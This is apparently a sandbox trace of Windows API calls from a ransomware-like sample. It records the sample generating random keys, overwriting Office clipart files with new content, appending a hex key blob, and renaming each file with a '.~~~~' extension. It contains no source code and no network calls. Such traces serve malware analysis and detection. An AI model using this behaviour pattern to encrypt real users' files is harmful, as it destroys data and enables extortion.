	[0099.057] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.057] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.057] CloseHandle (hObject=0x11c) returned 1
	[0099.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.058] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.~~~~")) returned 1
	[0099.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.059] GetLastError () returned 0x0
	[0099.078] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.086] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.086] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.086] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21907581608) returned 1
	[0099.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4c1c390, dwHighDateTime=0x1d60e1e)) 
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841d48
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841d48 | out: hHeap=0x300000) returned 1
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fc38
	[0099.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.086] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.094] GetLastError () returned 0x0
	[0099.094] GetLastError () returned 0x0
	[0099.094] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.094] GetLastError () returned 0x0
	[0099.094] GetLastError () returned 0x0
	[0099.116] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7048, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.116] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x8fb8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x8fb8, lpOverlapped=0x0) returned 1
	[0099.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.117] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.117] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.117] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.117] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.117] CloseHandle (hObject=0x11c) returned 1
	[0099.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.~~~~")) returned 1
	[0099.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.159] GetLastError () returned 0x0
	[0099.160] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.161] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.161] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21915160700) returned 1
	[0099.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4cb4910, dwHighDateTime=0x1d60e1e)) 
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841f40
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841f40 | out: hHeap=0x300000) returned 1
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385d90
	[0099.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.162] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.163] GetLastError () returned 0x0
	[0099.163] GetLastError () returned 0x0
	[0099.163] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.163] GetLastError () returned 0x0
	[0099.163] GetLastError () returned 0x0
	[0099.165] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffeefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.166] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1104, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x1104, lpOverlapped=0x0) returned 1
	[0099.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.167] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.167] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.167] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.167] CloseHandle (hObject=0x11c) returned 1
	[0099.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.~~~~")) returned 1
	[0099.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.168] GetLastError () returned 0x0
	[0099.169] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.170] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.170] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.170] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21915997897) returned 1
	[0099.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4cdaa70, dwHighDateTime=0x1d60e1e)) 
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841f78
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841f78 | out: hHeap=0x300000) returned 1
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.170] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860348
	[0099.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.170] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.171] GetLastError () returned 0x0
	[0099.171] GetLastError () returned 0x0
	[0099.171] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.171] GetLastError () returned 0x0
	[0099.171] GetLastError () returned 0x0
	[0099.175] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc398, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.175] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x3c68, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x3c68, lpOverlapped=0x0) returned 1
	[0099.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.177] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.177] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.177] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.177] CloseHandle (hObject=0x11c) returned 1
	[0099.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.~~~~")) returned 1
	[0099.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.179] GetLastError () returned 0x0
	[0099.179] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.180] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.180] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.180] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21917063344) returned 1
	[0099.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d00bd0, dwHighDateTime=0x1d60e1e)) 
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a29f8
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a29f8 | out: hHeap=0x300000) returned 1
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28603e0
	[0099.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.181] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.181] GetLastError () returned 0x0
	[0099.181] GetLastError () returned 0x0
	[0099.181] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.182] GetLastError () returned 0x0
	[0099.182] GetLastError () returned 0x0
	[0099.184] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb7bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.184] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x4844, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x4844, lpOverlapped=0x0) returned 1
	[0099.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.185] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.185] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.185] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.185] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.186] CloseHandle (hObject=0x11c) returned 1
	[0099.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.~~~~")) returned 1
	[0099.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.187] GetLastError () returned 0x0
	[0099.201] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.202] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.202] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.202] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21919244896) returned 1
	[0099.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4d26d30, dwHighDateTime=0x1d60e1e)) 
	[0099.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x296fee8
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x296fee8 | out: hHeap=0x300000) returned 1
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2971050
	[0099.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860478
	[0099.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2971050 | out: hHeap=0x300000) returned 1
	[0099.203] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.203] GetLastError () returned 0x0
	[0099.203] GetLastError () returned 0x0
	[0099.203] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.203] GetLastError () returned 0x0
	[0099.203] GetLastError () returned 0x0
	[0099.207] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc6d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.207] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3928, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3928, lpOverlapped=0x0) returned 1
	[0099.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
